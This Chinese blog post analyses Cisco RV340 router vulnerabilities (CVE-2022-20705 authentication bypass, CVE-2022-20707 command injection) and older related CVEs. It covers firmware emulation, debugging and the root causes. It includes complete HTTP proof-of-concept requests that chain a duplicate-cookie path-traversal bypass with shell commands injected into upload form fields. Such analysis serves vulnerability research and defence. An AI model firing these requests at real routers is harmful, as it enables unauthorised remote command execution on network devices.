CISCO RV340 漏洞分析(CVE-2022-20705 和 CVE-2022-20707)

固件安全
2022-08-29 14:30
50979

CISCO RV340 漏洞分析(CVE-2022-20705 和 CVE-2022-20707)

简介

  • CVE-2022-20705 - 不正确的会话管理漏洞
  • CVE-2022-20707 - 命令注入漏洞
  • 追溯几个中与其相关的历史漏洞:CVE-2020-3453、CVE-2020-3453

漏洞描述

此漏洞允许网络相邻攻击者升级受影响的 Cisco RV340 路由器安装的权限。尽管利用此漏洞需要身份验证,但可以绕过现有的身份验证机制。

在处理提供给 upload.cgi 端点的 POST 请求参数中存在特定缺陷。该问题是由于在使用用户提供的字符串执行系统调用之前缺乏适当的验证所致。攻击者可以利用此漏洞在 www-data 用户的上下文中提升权限并执行任意代码。

模拟环境搭建

固件下载

https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.26?catid=268437899

固件解压

使用7z-zip软件提取openwrt-comcerto2000-hgw-rootfs-ubi_nand.img

\RV34X-v1.0.03.22-2021-06-14-02-33-28-AM.img\RV34X-v1.0.03.22-2021-06-14-02-33-28-AM\fw.gz\fw\openwrt-comcerto2000-hgw-rootfs-ubi_nand.img

binwalk解压

这里遇到一个坑,binwalk会把软链接给重置为/dev/null。

这里我是通过修改binwalk代码的方式强行绕过了此逻辑,如果各位大佬有更优雅的方式,敬请指点

binwalk/modules/extractor.py


因为scp传文件时也会搞坏掉软链接,所以把解出来的文件系统,打一个tar包

tar zcvf 1.tar rootfs/

qemu系统模拟

启动qemu虚拟机。

sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=tty0" -net nic -net tap -nographic   

将解出来的固件传到qemu虚拟机。

scp -r 1.tar   root@192.168.250.173:/root/

解压并切入chroot环境

tar zxvf 1.tar
chmod -R 777 rootfs
cd rootfs
sudo mount --bind /proc proc
sudo mount --bind /dev dev
chroot . /bin/sh

逐步启动ngix服务。

/etc/init.d/boot boot
generate_default_cert
/etc/init.d/confd start
/etc/init.d/nginx start

可以访问到web页面

至此,模拟环境搭建完成。可以开始进行漏洞测试。

HTTPS抓包的问题

之前社区问答里也提到过这个问题,我这里的处理方法是删掉lan.http.conf文件的最后一行。就可以自由的http抓包了。

调试技巧

因为cgi是以uwsgi子进程的形式启动来处理请求,一次请求一个进程,使用gdbserver并不好attach。

故直接修改upload.cgi二进制文件,在main函数入口位置修改汇编为自己跳自己,弄个死循环。

这样进程就会一直卡住,等到gdbserver attach上。再通过修改内存方式,修改代码为原程序逻辑。

CVE-2022-20705

此漏洞是因nginx配置不当导致的授权绕过。

在shell环境看一下nginx配置文件以及配置引用关系,定位到/upload路径的访问是由/var/nginx/conf.d/web.upload.conf控制

location /form-file-upload {
	include uwsgi_params;
	proxy_buffering off;
	uwsgi_modifier1 9;
	uwsgi_pass 127.0.0.1:9003;
	uwsgi_read_timeout 3600;
	uwsgi_send_timeout 3600;
}

location /upload {
	set $deny 1;

        if (-f /tmp/websession/token/$cookie_sessionid) {
                set $deny "0";
        }

        if ($deny = "1") {
                return 403;
        }

	upload_pass /form-file-upload;
	upload_store /tmp/upload;
	upload_store_access user:rw group:rw all:rw;
	upload_set_form_field $upload_field_name.name "$upload_file_name";
	upload_set_form_field $upload_field_name.content_type "$upload_content_type";
	upload_set_form_field $upload_field_name.path "$upload_tmp_path";
	upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
	upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
	upload_pass_form_field "^.*$";
	upload_cleanup 400 404 499 500-505;
	upload_resumable on;
}

可以看到,是否返回403是通过/tmp/websession/token/下是否存在文件来判断。

当$cookie_sessionid=../../../../../etc/passwd时,即可绕过该判断机制。

但是upload.cgi程序内部还有对sessionid的判断。

从所有COOKIE中获取sessionid的值。此处并未考虑到cookie传入两个sessionid的情况。仅取最后一个sessionid作为最终取值。

 if ( HTTP_COOKIE )
  {
    StrBufSetStr(v40, HTTP_COOKIE);
    HTTP_COOKIE = 0;
    v13 = (char *)StrBufToStr(v40);
    for ( i = strtok_r(v13, ";", &save_ptr); i; i = strtok_r(0, ";", &save_ptr) )
    {
      sessionid = strstr(i, "sessionid=");
      if ( sessionid )
        HTTP_COOKIE = sessionid + '\n';
    }
  }

当路径为/upload时,正则判断sessionid是否符合格式。

else if ( !strcmp(v5, "/upload")
         && HTTP_COOKIE
         && strlen(HTTP_COOKIE) - 16 <= 0x40
         && !match_regex("^[A-Za-z0-9+=/]*$", HTTP_COOKIE) )
  {
    v24 = v34;
    v25 = v35;
    v26 = (int)v32;
    v27 = StrBufToStr(v41);
    sub_12684(HTTP_COOKIE, v24, v25, v26, v27, v36, v37, v38);
  }

那么设置两个cookie即可以授权身份请求upload.cgi。

添加cookie

Cookie: sessionid=../../../etc/passwd;sessionid=Y2lzY28vMTI3LjAuMC4xLzEx;

成功绕过身份验证,进入程序逻辑。

CVE-2022-20707

upload.cgi存在一处命令执行漏洞

请求提交过来的参数经过处理成json后被拼接到命令里

即在中参数中使用';{CMD};'即可成功执行命令

因为不想看代码凑参数,抓个正常功能下上传img的包


upload.cgi 可以接收的参数如下:

  jsonutil_get_string(dword_2324C, &v31, "\"file.path\"", -1);
  jsonutil_get_string(dword_2324C, &haystack, "\"filename\"", -1);
  jsonutil_get_string(dword_2324C, &v32, "\"pathparam\"", -1);
  jsonutil_get_string(dword_2324C, &v33, "\"fileparam\"", -1);
  jsonutil_get_string(dword_2324C, &v34, "\"destination\"", -1);
  jsonutil_get_string(dword_2324C, &v35, "\"option\"", -1);
  jsonutil_get_string(dword_2324C, &v36, "\"cert_name\"", -1);
  jsonutil_get_string(dword_2324C, &v37, "\"cert_type\"", -1);
  jsonutil_get_string(dword_2324C, &v38, "\"password\"", -1);

所以在原本正常传参的基础上添加destination和option参数,在任意参数中插入分析出来的格式';{CMD};'

可以看到命令已经执行。

结合上边的权限绕过,最终poc为

POST /upload HTTP/1.1
Host: 192.168.250.173
Content-Length: 729
Accept: application/json, text/plain, */*
optional-header: header-value
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz6gIo5kcTkAlkCwX
Origin: http://192.168.250.173
Referer: http://192.168.250.173/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: sessionid=../../../etc/passwd;sessionid=Y2lzY28vMTI3LjAuMC4xLzEx;
Connection: close

------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="sessionid"

EU6DJKEIWO
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="pathparam"

Firmware
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="fileparam"

file001
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="destination"

x';ls>/tmp/download/1.xml;'
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="option"

x
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="file"; filename="1.img"
Content-Type: application/octet-stream

1111
------WebKitFormBoundaryz6gIo5kcTkAlkCwX--

历史漏洞追溯

CVE-2020-3453

老版本中的nginx配置并没有对访问upload校验是否授权。且cgi内部也没有对该路径是否授权校验。对**/upload请求的处理由jsonrpc.cgi** 处理

cp 命令拼接时 v23由fileparam传入

当在fileparam参数传入恶意拼接命令时,即可执行

POC:

POST /upload HTTP/1.1
Connection: close
Accept-Encoding: gzip, deflate
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Host: 186.86.126.88:443
Content-Type: multipart/form-data; boundary=---------------------------42194771962641085195329489787
Content-Length: 614

-----------------------------42194771962641085195329489787
Content-Disposition: form-data; name="sessionid"

FOOT
-----------------------------42194771962641085195329489787
Content-Disposition: form-data; name="fileparam"

file001;ls>/www/download/3.xml;

-----------------------------42194771962641085195329489787
Content-Disposition: form-data; name="pathparam"

Firmware
-----------------------------42194771962641085195329489787
Content-Disposition: form-data; name="file"; filename="1233.img"
Content-Type: application/octet-stream

111111111111111
-----------------------------42194771962641085195329489787--

CVE-2021-1473 &CVE-2021-1472

1.0.03.20版本的**web.upload.conf**为

location /form-file-upload {
	include uwsgi_params;
	proxy_buffering off;
	uwsgi_modifier1 9;
	uwsgi_pass 127.0.0.1:9003;
	uwsgi_read_timeout 3600;
	uwsgi_send_timeout 3600;
}

location /upload {
	set $deny 1;

        if ($http_authorization != "") {
                set $deny "0";
        }

        if (-f /tmp/websession/token/$cookie_sessionid) {
                set $deny "0";
        }

        if ($deny = "1") {
                return 403;
        }

	upload_pass /form-file-upload;
	upload_store /tmp/upload;
	upload_store_access user:rw group:rw all:rw;
	upload_set_form_field $upload_field_name.name "$upload_file_name";
	upload_set_form_field $upload_field_name.content_type "$upload_content_type";
	upload_set_form_field $upload_field_name.path "$upload_tmp_path";
	upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
	upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
	upload_pass_form_field "^.*$";
	upload_cleanup 400 404 499 500-505;
	upload_resumable on;
}

只要在头部增加 Authorization 即可令$http_authorization不为空。

即可绕过该配置文件的身份校验

该版本的upload.cgi在进行curl命令拼接时,a1由cookie中的sessionid传入。

但因为命令注入参数由cookie传入,所以不能使用

POC

POST /upload HTTP/1.1
Connection: close
Accept-Encoding: gzip, deflate
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Host: 186.86.126.88:443
Cookie: sessionid='&ls>/tmp/download/2.xml&'; 
Authorization: YWRtaW46YWRtaW4=
Content-Length: 570
Content-Type: multipart/form-data; boundary=5097417339e2369be225700925a71758

--5097417339e2369be225700925a71758
Content-Disposition: form-data; name="sessionid"

foobar
--5097417339e2369be225700925a71758
Content-Disposition: form-data; name="destination"

x
--5097417339e2369be225700925a71758
Content-Disposition: form-data; name="fileparam"

Configuration
--5097417339e2369be225700925a71758
Content-Disposition: form-data; name="pathparam"

Configuration
--5097417339e2369be225700925a71758
Content-Disposition: form-data; name="file"; filename="1233.xml"
Content-Type: text/xml

1233333
--5097417339e2369be225700925a71758--

总结

web 相关的配置文件在漏洞挖掘中也是需要重点关注的存在。一个配置文件不当造成了这一系列的为未授权RCE漏洞

参考链接

https://bestwing.me/Pwning%20a%20Cisco%20RV340%20%20%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%EF%BC%88CVE-2022-20705%20%E5%92%8C%20CVE-2022-20707.html#Related-vulnerability-tracking

https://www.anquanke.com/post/id/251815#h3-2

https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247496752&idx=1&sn=95a720e00488448da54dc2a157959096

https://www.crowdstrike.com/blog/how-to-pwn2own-the-cisco-rv340-router/

参与评论

0 / 200

全部评论 2

zebra的头像
学习大佬思路
2023-03-19 12:14
Hacking_Hui的头像
学习了
2023-02-01 14:20
投稿
签到
联系我们
关于我们